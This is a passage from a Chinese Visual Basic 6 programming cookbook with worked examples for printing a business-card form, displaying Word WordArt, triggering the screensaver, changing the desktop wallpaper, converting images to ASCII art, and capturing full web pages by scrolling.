        ReleaseDC Dhandle, SourceDC                        '释放由调用GetDC或GetWindowDC函数获取的指定设备场景
        Image1.Picture = Clipboard.GetData()
        Me.Visible = True                                '窗体可见
    End If
End Sub




秘笈心法

心法领悟589：使用Cls方法清屏。

Cls方法用于清除运行时Form或PictureBox所生成的图形和文本，语法为（object.Cls）。Cls方法将清除图形和打印语句在运行时所产生的文本和图形，而设计时在Form窗体中使用Picture属性设置的背景位图和放置在其中的控件不受Cls方法的影响。如果在使用Cls方法之前将AutoRedraw属性设置为False，调用时将该属性值设置为True，则放置在Form窗体或PictureBox控件中的图形和文本也不受影响。也就是说，通过对正在处理的对象的AutoRedraw属性进行操作，可以保持Form窗体或PictureBox控件中的图形和文本不变。



 实例590　电子名片

光盘位置：光盘\MR\20\590

中级

趣味指数：[image: ]




实例说明

本实例演示的是一个电子名片程序。运行程序，将在窗体上显示公司、职务、姓名、联系电话等信息，如图20.17所示。单击“预览”按钮，则显示电子名片的打印效果，如图20.18所示，单击预览窗体中的“打印”按钮，则可以打印电子名片。
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	图20.17　电子名片
	图20.18　预览电子名片效果




关键技术

本实例主要是通过窗体的PrintForm方法打印电子名片，PrintForm方法实质上打印的是窗体。

PrintForm方法用于将Form对象的图像逐位发送给打印机，语法如下：



object.PrintForm




参数说明

object：所在处代表一个对象表达式。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在Form1窗体上添加一个Frame控件。

（3）在Frame控件中添加4个Label控件和一个TextBox控件数组（Text1(0)～Text1(3)）。

（4）在Form1窗体上添加3个CommandButton控件，分别设置Caption属性为“预览”、“取消”和“关闭”。

（5）选择VB菜单中的“工程”/“添加窗体”命令，在工程中添加一个窗体，默认“名称”属性为Form2。

（6）在Form2窗体上添加4个Line控件和5个Label控件。

（7）在Form2窗体上添加两个CommandButton控件，分别设置Caption属性为“打印”和“取消”。

（8）Form1窗体的主要程序代码如下：



Private Sub Command1_Click()
    Form2.Show                                            '显示窗体
    Form2.Label1 = Text1(0).Text                                '给标签赋值语句
    Form2.Label2 = Text1(1).Text                                '给标签赋值语句
    Form2.Label3 = Text1(2).Text                                '给标签赋值语句
    Form2.Label5 = Text1(3).Text                                '给标签赋值语句
End Sub
Private Sub Command2_Click()
    For i = 0 To 3
        Text1(i).Text = ""                                        '清空文本框
        Text1(0).SetFocus                                    '获得焦点
    Next i
End Sub
Private Sub Command3_Click()
    End                                                '结束程序
End Sub




Form2窗体的主要程序代码如下：



Private Sub Command1_Click()
     Form2.PrintForm                                        '打印窗体
End Sub




秘笈心法

心法领悟590：使用Point方法返回指定点的颜色。

Point方法用于返回在Form窗体或PictureBox控件上所指定值的红绿蓝（RGB）颜色，语法如下：



object.Point(x, y)




参数说明

❶object：可选参数。一个对象表达式。如果省略object，则为带有焦点的Form窗体。

❷x, y：必选参数。均为单精度值，指示Form或PictureBox的ScaleMode属性中该点的水平（x轴）和垂直（y轴）坐标。必须用括号括上这些值。



 实例591　调用Word中的艺术字

光盘位置：光盘\MR\20\591

中级

趣味指数：[image: ]




实例说明

本实例实现调用Word中的艺术字，并将其显示在PictureBox中。运行程序，单击“显示”按钮，即可得到如图20.19所示的效果。

[image: ]
图20.19　调用Word中的艺术字



关键技术

本实例主要是通过操作Word对象来实现的。引用Word对象，可以实现在VB中调用Word中的艺术字。通过选择“工程”/“引用”命令，在应用列表框中选中Microsoft Office 9.0 Object Library和Microsoft Word 9.0 Object Library复选框，将Word对象引入。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“调用Word中的艺术字”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个PictureBox控件，名称使用其默认名称。

（4）在窗体上添加两个CommandButton控件，名称使用其默认名称，将Caption属性分别设置为“显示”和“退出”，并设置Font属性。

（5）主要程序代码如下：



Option Explicit
Dim WordArt As New Word.Application
Private Sub Command1_Click()
    On Error Resume Next                                            '出错处理
    Dim i As Integer, start As Variant                                    '定义整型变量、变体变量
    For i = 0 To 29
        WordArt.Selection.ShapeRange.TextEffect.PresetTextEffect = I                '设置艺术字式样
        WordArt.Selection.ShapeRange.TextEffect.FontName = "宋体"                '设置艺术字字体
        WordArt.Selection.Copy                                        '艺术字复制到剪贴板
        Picture1.Picture = Clipboard.GetData()                                '在图片框中显示艺术字
        start = Timer
        Do While Timer < start + 2
            DoEvents                                            '暂停3秒
        Loop
    Next
End Sub
Private Sub Command2_Click()
    Unload Me                                                '卸载窗体
    End '退出
End Sub
Private Sub Form_Load()
    WordArt.Documents.Add.Select
    '初始化“艺术字”对象
    WordArt.ActiveDocument.Shapes.AddTextEffect(0, "显示艺术字", "宋体", 48, 1, 0, 75, 75).Select
End Sub
Private Sub Form_Unload(Cancel As Integer)
    WordArt.Quit wdDoNotSaveChanges
    Set WordArt = Nothing                                        '置空
    Unload Me                                                '卸载窗体
    End
End Sub




秘笈心法

心法领悟591：Word对象小知识。

Word对象封装了Microsoft Word的全部元素，例如，Application对象表示Word应用程序，Document对象表示一个Word文档，Table对象表示一个表格等。在VB中可以引用及操作Word对象。



 实例592　使Windows开始屏幕保护

光盘位置：光盘\MR\20\592

中级

趣味指数：[image: ]




实例说明

本实例的功能是使Windows开始屏幕保护。运行程序，进入“使Windows开始屏幕保护”窗体，单击“开始”按钮，将进入肥皂泡泡的屏幕保护程序，程序的运行效果如图20.20和图20.21所示。



	[image: ]

	[image: ]




	图20.20　使Windows开始屏幕保护
	图20.21　肥皂泡泡屏幕保护程序




关键技术

本实例主要是通过使用API函数SendMessage来实现的。返回值为Long，由具体的消息决定。SendMessage函数声明的语法如下：



Declare Function SendMessage& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any)
Declare Function SendMessageBynum& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
Declare Function SendMessageByString& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String)




函数说明：

调用一个窗口的窗口函数，将一条消息发送给那个窗口。除非消息处理完毕，否则该函数不会返回。Send MessageBynum和SendMessageByString是该函数的“类型安全”声明形式。

SendMessage函数的参数说明如表10.1所示。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“使Windows开始屏幕保护”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Label控件，将Caption属性设置为“进行Windows屏幕保护请单击‘开始’按钮”。

（4）在窗体上添加两个CommandButton控件，名称使用其默认名称，将Caption属性分别设置为“开始”和“退出”，并设置Font属性。

（5）主要程序代码如下：



Option Explicit
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
(ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Const WM_SYSCOMMAND = &H112&
Const SC_SCREENSAVE = &HF140&
Private Sub Command1_Click()    '开始屏幕保护
    Dim lRet As Long
    lRet = SendMessage(Form1.hWnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0&)
    Me.Hide
End Sub
Private Sub Command2_Click()    '关闭退出
    Unload Me
End Sub




秘笈心法

心法领悟592：ASCII码小知识。

ASCII码是美国标准信息交换码（American Standard Code for Information Interchange）的缩写。键盘上的按键与ASCII码值相对应，通过读取或设置键盘的ASCII码值可以实现控制键盘的相关操作。



 实例593　利用VB实现更换墙纸的功能

光盘位置：光盘\MR\20\593

中级

趣味指数：[image: ]




实例说明

每天对着同样的墙纸一定很无聊，本实例可以利用VB实现更换墙纸的功能。运行程序，单击“更换墙纸”按钮，即可将墙纸更换为指定的图片，程序的运行效果如图20.22所示。

[image: ]
图20.22　利用VB设计更换墙纸的程序



关键技术

本实例主要是通过使用API函数来实现的。

（1）RegCloseKey函数

该函数用于关闭系统注册表中的一个项（或键）。返回值为Long，0（ERROR_SUCCESS）表示成功。其他任何值都代表一个错误代码。VB语法声明如下：



Declare Function RegCloseKey Lib "advapi32.dll" Alias "RegCloseKey" (ByVal hKey As Long) As Long




参数说明

hKey：Long，要关闭的项。

（2）RegOpenKey函数

该函数打开一个现有的注册表项。返回值为Long，0（ERROR_SUCCESS）表示成功。其他任何值都代表一个错误代码。VB语法声明如下：



Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long




参数说明

❶hKey：Long，一个已打开项的句柄或指定一个标准项名。

❷lpSubKey：String，要打开的项名。

❸phkResult：Long，指定一个变量，用于装载（保存）打开注册表项的一个句柄。


注意：
 在NT环境下，这个函数会使用默认的安全参数。


说明：
 （1）SystemParametersInfo函数的详细讲解请参见实例455中的关键技术。

（2）RegSetValueEx函数的详细讲解请参见实例223中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“利用VB设计更换墙纸的程序”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Image控件，名称使用其默认名称Image1，并设置Picture属性，用于显示桌面壁纸图片。

（4）在窗体上添加两个CommandButton控件，名称使用其默认名称，将Caption属性分别设置为“更换墙纸”和“退出程序”，并设置Font属性。

（5）主要程序代码如下：



Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long
Const SPI_SETDESKWALLPAPER = 20
Const SPIF_SENDWININICHANGE = &H2
Const SPIF_UPDATEINIFILE = &H1
Const REG_SZ As Long = 1
Const HKEY_CURRENT_USER = &H80000001
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Private Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long
Private Sub SetKeyValue(sKeyName As String, sValueName As String, vValueSetting As Variant, lValueType As Long, lPredefinedKey As Long)
    lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)
    lRetVal = SetValueEx(hKey, sValueName, lValueType, vValueSetting)
    RegCloseKey (hKey)
End Sub
Private Function SetValueEx(ByVal hKey As Long, sValueName As String, lType As Long, vValue As Variant) As Long
    Dim lValue As Long
    Dim sValue As String
    Select Case lType
    Case REG_SZ
        sValue = vValue & Chr$(0)
        SetValueEx = RegSetValueExString(hKey, sValueName, 0&, lType, sValue, Len(sValue))
    Case REG_DWORD, REG_BINARY
        lValue = vValue
        SetValueEx = RegSetValueExLong(hKey, sValueName, 0&, lType, lValue, 4)
    End Select
End Function
Private Sub Command1_Click()  '设置墙纸
    Dim Path As String, strSave As String
    strSave = String(50, Chr$(0))
    Path = Left$(strSave, GetWindowsDirectory(strSave, Len(strSave)))
    SavePicture Image1, Path & "\MyFlower.bmp"
    Dim aa As String
    SetKeyValue "Control Panel\desktop", "TileWallpaper", "0", REG_SZ, HKEY_CURRENT_USER
    aa = Path & "\MyFlower.bmp"
    ChangeWP = SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, aa, 0)
    '在注册表中记录图片位置
    SetKeyValue "Control Panel\desktop", "Wallpaper", aa, REG_SZ, HKEY_CURRENT_USER
End Sub




秘笈心法

心法领悟593：系统对象小知识。

在VB 6.0中提供了几种非常重要的系统对象。它们分别是：应用程序对象（APP对象）、屏幕对象（Screen对象）、剪贴板对象（Clipboard对象）、调试对象（Debug对象）等。



 实例594　利用VB实现更换墙纸

光盘位置：光盘\MR\20\594

中级

趣味指数：[image: ]




实例说明

本实例利用API函数SystemParametersInfoByVal&实现了更换墙纸的功能。运行程序，单击“设置”按钮，选择图片，实现更换桌面壁纸的功能，程序的运行效果如图20.23所示。

[image: ]
图20.23　利用VB实现更换墙纸



关键技术

本实例是利用修改注册表的方法实现更改墙纸的功能，下面介绍如何利用API函数SystemParametersInfoByVal&实现更换墙纸的功能，语法如下：



Declare Function SystemParametersInfoByVal& Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long)




该函数用于获取和设置Windows系统参数，返回非0表示成功，0表示失败。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“利用VB实现更换墙纸”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Label控件，将Caption属性设置为“通过单击‘设置’选择桌面壁纸”，名称使用其默认名称。

（4）在窗体上添加两个CommandButton控件，名称使用其默认名称，将Caption属性分别设置为“设置”和“退出”，并设置Font属性。

（5）主要程序代码如下：



Private Declare Function SystemParametersInfoByVal& Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long)
Const SPI_SETDESKWALLPAPER = 20
Const SPIF_UPDATEINIFILE = &H1
Private Sub Command1_Click()
    End
End Sub
Private Sub Command2_Click()
    CommonDialog1.Filter = "BMP文件（*.bmp）|*.bmp"
    CommonDialog1.ShowOpen
    ss = CommonDialog1.FileName
    Call SystemParametersInfoByVal&(SPI_SETDESKWALLPAPER, 0, ByVal CommonDialog1.FileName, SPIF_UPDATEINIFILE)
    MsgBox "设置成功！", vbInformation, "信息提示"
End Sub




秘笈心法

心法领悟594：Windows的API函数小知识。

Windows应用程序接口（即API）是Windows提供的重要功能之一。它和Windows一起被安装到计算机中，在Visual Basic的应用程序中，可以像调用普通的过程一样调用API函数，进而实现需要的功能。



 实例595　屏幕保护程序（从左到右显示图片）

光盘位置：光盘\MR\20\595

高级

趣味指数：[image: ]




实例说明

屏幕保护程序可以保护显示屏不被损坏，同时节约能源。下面介绍一个简单的屏幕保护程序，该程序运行时，从左至右显示一张图片，图片从屏幕左边出现，至右边消失。其实现方法是：在窗体加载时将鼠标隐藏，并让窗体从左到右显示，并利用窗体的MouseMove事件捕获鼠标移动，当鼠标移动时屏保结束，鼠标显示，程序的运行效果如图20.24所示。

[image: ]
图20.24　屏幕保护程序



关键技术

本实例的实现主要用到了Win32的API函数ShowCursor。ShowCursor函数用于控制鼠标指针的可视性，返回值为Long，显示计数。VB语法声明如下：



Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long




参数说明

bShow：Long，True（非0）显示指针，False隐藏。


说明：
 Windows维持着一个内部显示计数；倘若bShow为True，那么每调用一次这个函数，计数就会递增1；反之，如bShow为False，则计数递减1。只有在这个计数大于或等于0的情况下，指针才会显示出来。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个PictureBox控件，名称使用其默认名称，将BorderStyle属性设置为1-Fixed Single。

（4）主要程序代码如下：



Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Private Sub Form_Click() '在窗体上单击鼠标时退出程序
    X = ShowCursor(True)
    End
End Sub
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer) 
'在窗体上按下按键时退出程序
    X = ShowCursor(True)
    End
End Sub
Private Sub Form_Load()
    Dim X As Long
    X = ShowCursor(False) '加载窗体时隐藏鼠标
    Picture1.Visible = False
    Picture1.Left = -Picture1.Width
End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
'在窗体上移动鼠标时退出程序
    Static currentX, currentY As Single
    Dim orignX, orignY As Single
    '把当前的鼠标值赋给orignX和orignY
    orignX = X: orignY = Y
    '初始化currentX和currentY
    If currentX = 0 And currentY = 0 Then
        currentX = orignX: currentY = orignY: Exit Sub
    End If
    If Abs(orignX - currentX) > 1 Or Abs(orignY - currentY) > 1 Then
        X = ShowCursor(True): End
    End If
End Sub
Private Sub Picture1_Click()
    X = ShowCursor(True): End
End Sub
Private Sub Picture1_KeyDown(KeyCode As Integer, Shift As Integer)
  X = ShowCursor(True): End
End Sub
Private Sub Picture1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Static Xlast, Ylast As Single
    Dim Xnow, Ynow As Single
    Xnow = X: Ynow = Y
    If Xlast = 0 And Ylast = 0 Then
        Xlast = Xnow: Ylast = Ynow: Exit Sub
    End If
    If Abs(Xnow - Xlast) > 1 Or Abs(Ynow - Ylast) > 1 Then
        X = ShowCursor(True): End
    End If
End Sub
Private Sub Timer1_Timer()
    Picture1.Visible = True
    Picture1.Top = (Form1.Height - Picture1.Height) / 2
    Picture1.Left = Picture1.Left + 50
    If Picture1.Left > Form1.Width Then Picture1.Left = -Picture1.Width
End Sub




秘笈心法

心法领悟595：认识Windows的API。

API（Application Propramming Interface）函数又称“应用程序编程接口”。它是Windows提供给应用程序与操作系统之间的接口，犹如建筑工地所使用的“砖瓦”一般，可以搭建出各种丰富多彩的应用界面和功能灵巧的应用程序。所以可以认为API函数是构筑整个Windows框架的基石。程序设计人员可以在不同的程序设计语言中使用API函数编写运行于Windows操作系统中的应用程序。



 实例596　图片转换为字符串

光盘位置：光盘\MR\20\596

中级

趣味指数：[image: ]




实例说明

在网络的BBS上经常有一些用户用字符排成的图片发帖，感觉非常时尚，本实例介绍一种方法，可以将图片自动转换为字符的形式。运行程序，单击“打开”按钮，选择图片，单击“转换”按钮进行转换，程序的运行效果如图20.25所示。

[image: ]
图20.25　图片转换为字符串



关键技术

本实例主要是通过利用某点颜色值的RGB值的不同，分配给不同的字符来实现的。如@、#、%、$等。利用这些字符排列成所需要的图片图案，就可以将图片转换为字符串。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“图片转换为字符串”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个TextBox控件，名称使用其默认名称，将BorderStyle属性设置为0-None，并设置Font属性。

（4）在窗体上添加两个CommandButton控件，名称使用其默认名称，将Caption属性分别设置为“打开”和“转换”，并设置Font属性。

（5）在窗体上添加一个PictureBox控件、一个ProgressBar控件和一个CommonDialog控件，名称均使用默认名称。

（6）主要程序代码如下：



Public Function Buildtxt()
On Error Resume Next
    lngBackColor = Form1.Picture1.Point(0, 0)                        '获取背景颜色
    Debug.Print lngBackColor
    intR = lngBackColor Mod 256 'R
    intG = Int(lngBackColor / 256) Mod 256 'G
    intB = Int(lngBackColor / 65536) Mod 256 'B
    Debug.Print lngRGB
    intR = lngRGB Mod 256
    intG = Int(lngRGB / 256) Mod 256
    intB = Int(lngRGB / 65536) Mod 256
    qian = True
    If intR > 128 Or intG > 128 Or intB > 128 Then qian = False            '背景颜色浅
    Form1.ProgressBar1.Value = 0
    Form1.ProgressBar1.Min = 0
    Form1.ProgressBar1.Max = Form1.Picture1.ScaleHeight
    Debug.Print Form1.ProgressBar1.Max
    For intY = 0 To Form1.Picture1.ScaleHeight - 1
        For intX = 0 To Form1.Picture1.ScaleWidth - 1
            lngRGB = Form1.Picture1.Point(intX, intY)
            intR = lngRGB Mod 256
            intG = Int(lngRGB / 256) Mod 256
            intB = Int(lngRGB / 65536) Mod 256
            If Abs(lngRGB - lngBackColor) < 32 Then                '与背景相近
                strChar = " "
            ElseIf qian Then                                '当背景颜色浅时
                If intR > 224 Or intG > 224 Or intB > 224 Then
                    strChar = "@"
                ElseIf intR > 192 Or intG > 192 Or intB > 192 Then
                    strChar = "#"
                ElseIf intR > 160 Or intG > 160 Or intB > 160 Then
                    strChar = "%"
                ElseIf intR > 128 Or intG > 128 Or intB > 128 Then
                    strChar = "$"
                ElseIf intR > 96 Or intG > 96 Or intB > 96 Then
                    strChar = "8"
                ElseIf intR > 64 Or intG > 64 Or intB > 64 Then
                    strChar = "X"
                ElseIf intR > 32 Or intG > 32 Or intB > 32 Then
                    strChar = "?"
                Else
                    strChar = "?"
                End If
            Else                                        '背景颜色深时
                If intR > 224 Or intG > 224 Or intB > 224 Then
                    strChar = "?"
                ElseIf intR > 192 Or intG > 192 Or intB > 192 Then
                    strChar = "?"
                ElseIf intR > 160 Or intG > 160 Or intB > 160 Then
                    strChar = "X"
                ElseIf intR > 128 Or intG > 128 Or intB > 128 Then
                    strChar = "8"
                ElseIf intR > 96 Or intG > 96 Or intB > 96 Then
                    strChar = "$"
                ElseIf intR > 64 Or intG > 64 Or intB > 64 Then
                    strChar = "%"
                ElseIf intR > 32 Or intG > 32 Or intB > 32 Then
                    strChar = "#"
                Else
                    strChar = "@"
                End If
            End If
            If Not strChar = " " Then
                Form1.Text1.Text = Form1.Text1.Text & strChar
            Else
                Form1.Text1.Text = Form1.Text1.Text & " "
            End If
        Next
        Form1.Text1.Text = Form1.Text1.Text & vbNewLine
        DoEvents
        Form1.ProgressBar1.Value = Form1.ProgressBar1.Value + 1
    Next
End Function




秘笈心法

心法领悟596：函数库小知识。

程序员在编写应用程序时需要使用一些函数库，所谓函数库就是一些目标代码模块经过组合形成的代码群。应用程序从函数库中调用函数实际上就是通过链接使应用程序能够从函数库中存取和使用目标代码，并把外部函数结合到一个应用程序中的进程。



 实例597　网页抓图

光盘位置：光盘\MR\20\597

中级

趣味指数：[image: ]




实例说明

随着网站信息量的增多，有90%的网页内容超过一屏，这给那些想以图片格式保存页面信息的朋友带来不少麻烦。例如，想保存网页缩略图、交易取整、侵权取证等各种需求。通过使用本程序的“网页抓图”功能即可解决上述问题。运行本实例程序，打开网页，如图20.26所示。网页加载完毕后将自动对网页进行滚动抓图，程序的运行效果如图20.27所示。



	[image: ]
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	图20.26　网页抓图界面
	图20.27　网页抓取效果




关键技术

本实例主要通过使用WebBrowser控件获取网页可见区域，控制网页滚动条，实现网页抓图功能。下面对本实例中用到的关键技术进行详细讲解。

在对网页进行浏览或控制时涉及网页的Document对象中的Body或DocumentElement对象，下面对它们进行介绍。

（1）Body对象

该对象的属性可以用来控制页面中整个主体内容的外观。例如，设置主体内容的背景颜色、左右边距等。Body对象常用的属性及说明如表20.3所示。

表20.3 Body对象常用属性及说明



	属性
	说明



	clientWidth
	网页可见区域的宽度



	clientHeight
	网页可见区域的高度



	scrollWidth
	网页正文的宽度



	scrollHeight
	网页正文的高度



	scrollLeft
	获取或设置横向滚动条的坐标值



	scrollTop
	获取或设置纵向滚动条的坐标值




（2）DocumentElement对象

该对象对应的是HTML标签，而Body对象对应的是Body标签。在标准的W3C下，Document.Body.ScrollTop或Document.Body.ScrollLeft的值恒为0。因此，此时应选择DocumentElement对象作为网页控制对象。

DocumentElement对象也具有与Body对象相同的属性。

（3）网页滚动条的控制

本程序的网页抓图功能是通过控制滚动条位置实现滚动抓图的，下面给出控制滚动条位置的关键代码。

当控制对象为Body时，代码如下：



'向上移动10个像素
brwWebBrowser.Document.body.scrolltop = brwWebBrowser.Document.body.scrolltop + 10
'向下移动10个像素
brwWebBrowser.Document.body.scrolltop = brwWebBrowser.Document.body.scrolltop – 10




当控制对象为DocumentElement时，代码如下：



'向上移动10个像素
brwWebBrowser.Document.DocumentElement.scrolltop = brwWebBrowser.Document.DocumentElement.scrolltop + 10
'向下移动10个像素
brwWebBrowser.Document.DocumentElement.scrolltop = brwWebBrowser.Document.DocumentElement.scrolltop – 10




设计过程

（1）在工程窗口中单击鼠标右键，在弹出的快捷菜单中选择“添加”/“添加窗体”命令，打开“添加窗体”对话框。选择“Web浏览器”，如图20.28所示，自动生成名称为frmBrowser的窗体。

[image: ]
图20.28　添加Web浏览器



（2）修改ImageList控件imlIcons的图像列表，如图20.29所示。

[image: ]
图20.29　修改图像列表



（3）调整ToolBar控件tbToolBar中的按钮，修改索引为7的按钮的设置，如图20.30所示。

[image: ]
图20.30　修改按钮属性



（4）因为WebBrowser控件所使用的有效网页对象可能是Body对象，也可能是DocumentElement对象，所以需要进行判断。判断有效网页对象过程的主要设计思路是分别对两个对象的scrolltop属性或scrollleft属性进行调整，如果哪一对象的scrolltop属性或scrollleft属性值发生变化，就将该对象视为网页对象，代码如下：



'选择body或DocumentElement对象的过程
Private Sub html(ByRef obj As Object)
    Dim tempobj As Object
    Set tempobj = Me.brwWebBrowser.Document
    If (tempobj.documentelement Is Nothing = False) _
       And (tempobj.body Is Nothing = False) Then                        '当两个对象同时存在时
        tempobj.documentelement.scrolltop = 1                        '设置纵向滚动条位置
        tempobj.documentelement.scrollleft = 1                        '设置横向滚动条位置
        tempobj.body.scrolltop = 1                                '设置纵向滚动条位置
        tempobj.body.scrollleft = 1                                '设置横向滚动条位置
        If tempobj.documentelement.scrolltop _
           '当documentelement对象滚动条移动时
           Or tempobj.documentelement.scrollleft Then 
            Set obj = brwWebBrowser.Document.documentelement            '选择documentelement对象
        ElseIf tempobj.body.scrolltop Or tempobj.body.scrollleft Then            '当body对象滚动条移动时
            Set obj = brwWebBrowser.Document.body                    '选择body对象
        Else
            '当documentelement对象可见区域大于body对象时
            If ((tempobj.documentelement.ClientHeight > tempobj.body.ClientHeight) _
               And (tempobj.documentelement.ClientHeight <= Rectangle.Bottom - Rectangle.Top - 4)) _
               Or ((tempobj.documentelement.ClientWidth > tempobj.body.ClientWidth) _
               And (tempobj.documentelement.ClientWidth <= Rectangle.Right - Rectangle.Left - 4)) Then
                Set obj = brwWebBrowser.Document.documentelement
            Else
                Set obj = brwWebBrowser.Document.body                    '选择body对象
            End If
        End If
        tempobj.documentelement.scrolltop = 0
        tempobj.documentelement.scrollleft = 0
        tempobj.body.scrolltop = 0
        tempobj.body.scrollleft = 0
    '当只有documentelement对象存在时
    ElseIf tempobj.documentelement Is Nothing = False Then
        Set obj = brwWebBrowser.Document.documentelement                '选择documentelement对象
    ElseIf tempobj.body Is Nothing = False Then                        '当只有body对象存在时
        Set obj = brwWebBrowser.Document.body                        '选择body对象
    End If
    Set tempobj = Nothing                                        '释放对象
End Sub




在进行抓图操作前，首先要获取WebBrowser控件的句柄，用于获取网页显示区域的相关信息。然而hWnd属性并不是WebBrowser控件的有效属性，无法通过该对象的hWnd属性获取句柄。获取其句柄需要使用一段自定义过程GetBrowserWindow实现。该过程的设计思路是遍历窗体中所有控件，获取它们的句柄。当句柄获取的类名为Shell Embedding时，就说明该句柄为WebBrowser控件的句柄，过程代码如下：



Public Function GetBrowserWindow(hwndBrowserContainer As Long) As Long
    Dim RetVal As Long
    Dim Result As Long
    Dim hwndPeer As Long
    Dim ClassString As String * 256
    hwndPeer = GetWindow(hwndBrowserContainer, GW_CHILD)                '第一个控件句柄
    '当返回值为0并且控件句柄不等于0
    While (Result = 0) And (hwndPeer <> 0) 
        hwndPeer = GetWindow(hwndPeer, GW_HWNDNEXT)                '下一个控件句柄
        RetVal = GetClassName(hwndPeer, ClassString, 256)                '根据句柄获取类名
        If hwndPeer <> 0 Then                                    '当控件句柄不等于0
            RetVal = GetClassName(hwndPeer, ClassString, 256)                '根据句柄获取类名
            If Left$(ClassString, InStr(ClassString, Chr$(0)) - 1) = "Shell Embedding" Then
                Result = 1                                    '设置返回值为1
            End If
        End If
    Wend
    GetBrowserWindow = hwndPeer
End Function




网页抓图的功能是通过场景的拼凑实现的，其设计思路如下：

① 抓取网页可见区域场景。

② 当已抓取的场景的宽度小于网页宽度时，移动网页横向滚动条（例如，移动199个像素），获取可见区域的右侧199个像素的场景，并与原场景拼凑。

③ 将横向滚动最后剩余的场景捕获，并与已获取的场景拼凑。

④ 纵向场景捕获与横向同理。

创建滚动抓图的过程getpic，代码如下：



Private Sub getpic()
    SetWindowPos Me.hwnd, -1, 0, 0, 0, 0, &H2 Or &H1                    '窗体置前
    SelectObject DestDC, Bhandle                                '选择场景对象
    Dim linewidth As Long                                    '宽
    Dim lineheight As Long                                    '高
    Dim i As Long                                            '纵向计数器
    Dim j As Long                                            '横向计数器
    winpoint = GetBrowserWindow(Me.hwnd)                            '获取WebBrowser控件句柄
    GetWindowRect winpoint, Rectangle                            '获取网页显示区域矩形结构
'**********************ξξξξξ获取整个高度场景（开始）ξξξξξξ**************
    '当拼凑的场景宽度大于等于网页高度减去199时
    Do Until lineheight >= htmlobj.scrollheight – 199
        DoEvents
        If htmlobj.scrolltop = 0 Then                                '当纵向滚动条位置为0时
            hideinput                                        '屏蔽输入法
            BitBlt DestDC, 0, 0, htmlobj.ClientWidth, htmlobj.ClientHeight _
            , SourceDC, Rectangle.Left + 2, Rectangle.Top + 2, &HCC0020        '获取可见区域场景
            linewidth = htmlobj.ClientWidth                            '赋值宽度
            If linewidth < htmlobj.scrollwidth Then                        '当当前宽度小于网页宽度时
    '********************************获取整个宽度场景*****************************
                Do Until linewidth >= htmlobj.scrollwidth - 199
                    hideinput
                    htmlobj.scrollleft = htmlobj.scrollleft + 199
                    BitBlt DestDC, htmlobj.ClientWidth + 199 * j, 0 _
                    , 199, htmlobj.ClientHeight, SourceDC _
                    , Rectangle.Left + 2 + htmlobj.ClientWidth - 199, Rectangle.Top + 2, &HCC0020
                    linewidth = linewidth + 199
                    j = j + 1
                Loop
                If linewidth >= htmlobj.scrollwidth - 199 Then
                    hideinput
                    htmlobj.scrollleft = htmlobj.scrollleft + 199
                    BitBlt DestDC, htmlobj.ClientWidth + 199 * j _
